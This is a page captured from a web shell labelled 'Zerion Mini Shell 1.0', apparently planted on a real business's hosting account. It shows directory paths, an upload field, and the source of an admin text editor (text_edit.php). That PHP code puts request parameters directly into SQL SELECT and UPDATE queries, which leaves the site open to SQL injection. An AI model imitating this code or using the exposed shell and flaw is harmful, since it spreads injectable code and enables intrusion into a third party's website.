ok

Mini Shell

Direktori : /home/u732469475/domains/balajigrills.com/public_html/admin/
Upload File :
Current File : /home/u732469475/domains/balajigrills.com/public_html/admin/text_edit.php

<?php include'header.php';?>
<?php include("config.php"); ?>
<?php

$id=$_REQUEST['id'];
$sql1=$conn->query("select * from text where id=$id");
$data11=mysqli_fetch_array($sql1);

if($_REQUEST['submit'])
{
    $name=$_REQUEST['name'];
	$metatitle=$_REQUEST['metatitle'];
	$photo=$_FILES['photo'];
    $photo_image_name=$photo['name'];
    $photo_tmp_name=$photo['tmp_name'];
    $target="galleryphoto/$photo_image_name";
    $aneg=$_REQUEST['Aneg'];
   
    
   if($conn->query("UPDATE `text` SET `metatitle` = '$metatitle', `description` = '$aneg' WHERE `id` = $id;")){
   echo "<script language='javascript'>alert('Successfully Updated !');window.location = 'text-change.php';</script>";
      echo mysql_error();
   }
 
   

}

?>
    <!--Navigation Top Bar End-->
    <section id="main-container">

        <!--Left navigation section start-->
        <?php include'sidebar.php';?>
        <!--Left navigation section end-->


        <!--Page main section start-->
        <section id="min-wrapper">
            <div id="main-content">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-md-12">
                            <!--Top header start-->
                            <h3 class="ls-top-header">Contact Us</h3>
                     
                        </div>
                    </div>
                    <!-- Main Content Element  Start-->
                    <div class="row">
                        <div class="col-md-8">
                            <div class="panel panel-default">
                                <div class="panel-heading">
                                    <h3 class="panel-title">Contact Us</h3>
                                </div>
                                <div class="panel-body">
                                    <form method="post" enctype="multipart/form-data">
                                  
										 <div class="form-group">
                                            <label>Text</label>
                                            <input type="text" name="metatitle" value="<?php echo $data11['metatitle']; ?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label>Content</label>
                                            <textarea id="elm1" name="Aneg"  rows="20" cols="60" style="width: 80%">
											<?php echo $data11['description']; ?>
												  </textarea>
                                        </div>
                                       
                                        <input type="submit" value="Submit" name="submit">
                                       
                                    </form>
                                </div>
                            </div>
                        </div>

                    </div>
                  
                    
                    <!-- Main Content Element  End-->

                </div>
            </div>






        </section>
        <!--Page main section end -->
        <!--Right hidden  section start-->
        
        <!--Right hidden  section end -->
        <div id="change-color">
            <div id="change-color-control">
                <a href="javascript:void(0)"><i class="fa fa-magic"></i></a>
            </div>
            <div class="change-color-box">
                <ul>
                    <li class="default active"></li>
                    <li class="red-color"></li>
                    <li class="blue-color"></li>
                    <li class="light-green-color"></li>
                    <li class="black-color"></li>
                    <li class="deep-blue-color"></li>
                </ul>
            </div>
        </div>
    </section>
<script src="js/tinymce/tinymce.dev.js"></script>
<script src="js/tinymce/plugins/table/plugin.dev.js"></script>
<script src="js/tinymce/plugins/paste/plugin.dev.js"></script>
<script src="js/tinymce/plugins/spellchecker/plugin.dev.js"></script>
<script src="js/tinymce/plugins/codesample/plugin.dev.js"></script>

<script>
	tinymce.init({
		selector: "textarea#elm1",
		theme: "modern",
		plugins: [
			"advlist autolink autosave link image lists charmap print preview hr anchor pagebreak spellchecker",
			"searchreplace wordcount visualblocks visualchars code fullscreen insertdatetime media nonbreaking",
			"save table contextmenu directionality emoticons template textcolor paste fullpage textcolor colorpicker codesample"
		],
		external_plugins: {
			//"moxiemanager": "/moxiemanager-php/plugin.js"
		},
		content_css: "css/development.css",
		add_unload_trigger: false,
		autosave_ask_before_unload: false,

		toolbar1: "save newdocument fullpage | bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | styleselect formatselect fontselect fontsizeselect",
		toolbar2: "cut copy paste pastetext | searchreplace | bullist numlist | outdent indent blockquote | undo redo | link unlink anchor image media help code | insertdatetime preview | forecolor backcolor",
		toolbar3: "table | hr removeformat | subscript superscript | charmap emoticons | print fullscreen | ltr rtl | spellchecker | visualchars visualblocks nonbreaking template pagebreak restoredraft | insertfile insertimage codesample",
		menubar: false,
		toolbar_items_size: 'small',

		style_formats: [
			{title: 'Bold text', inline: 'b'},
			{title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
			{title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
			{title: 'Example 1', inline: 'span', classes: 'example1'},
			{title: 'Example 2', inline: 'span', classes: 'example2'},
			{title: 'Table styles'},
			{title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
		],

		templates: [
			{title: 'My template 1', description: 'Some fancy template 1', content: 'My html'},
			{title: 'My template 2', description: 'Some fancy template 2', url: 'development.html'}
		],

        spellchecker_callback: function(method, data, success) {
			if (method == "spellcheck") {
				var words = data.match(this.getWordCharPattern());
				var suggestions = {};

				for (var i = 0; i < words.length; i++) {
					suggestions[words[i]] = ["First", "second"];
				}

				success({words: suggestions, dictionary: true});
			}

			if (method == "addToDictionary") {
				success();
			}
		}
	});
</script>
    <!--Layout Script start -->
    <script type="text/javascript" src="assets/js/color.js"></script>
    <script type="text/javascript" src="assets/js/lib/jquery-1.11.min.js"></script>
    <script type="text/javascript" src="assets/js/bootstrap.min.js"></script>
    <script type="text/javascript" src="assets/js/multipleAccordion.js"></script>

    <!--easing Library Script Start -->
    <script src="assets/js/lib/jquery.easing.js"></script>
    <!--easing Library Script End -->

    <!--Nano Scroll Script Start -->
    <script src="assets/js/jquery.nanoscroller.min.js"></script>
    <!--Nano Scroll Script End -->

    <!--switchery Script Start -->
    <script src="assets/js/switchery.min.js"></script>
    <!--switchery Script End -->

    <!--bootstrap switch Button Script Start-->
    <script src="assets/js/bootstrap-switch.js"></script>
    <!--bootstrap switch Button Script End-->

    <!--easypie Library Script Start -->
    <script src="assets/js/jquery.easypiechart.min.js"></script>
    <!--easypie Library Script Start -->

    <!--bootstrap-progressbar Library script Start-->
    <script src="assets/js/bootstrap-progressbar.min.js"></script>
    <!--bootstrap-progressbar Library script End-->

    <script type="text/javascript" src="assets/js/pages/layout.js"></script>
    <!--Layout Script End -->

    <!--Upload button Script Start-->
    <script src="assets/js/fileinput.min.js"></script>
    <!--Upload button Script End-->

    <!--Auto resize  text area Script Start-->
    <script src="assets/js/jquery.autosize.js"></script>
    <!--Auto resize  text area Script Start-->
    <script src="assets/js/pages/sampleForm.js"></script>
</body>

<!-- Mirrored from fickle.aimmate.com/sample-form.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 21 Apr 2016 11:28:05 GMT -->
</html>

Zerion Mini Shell 1.0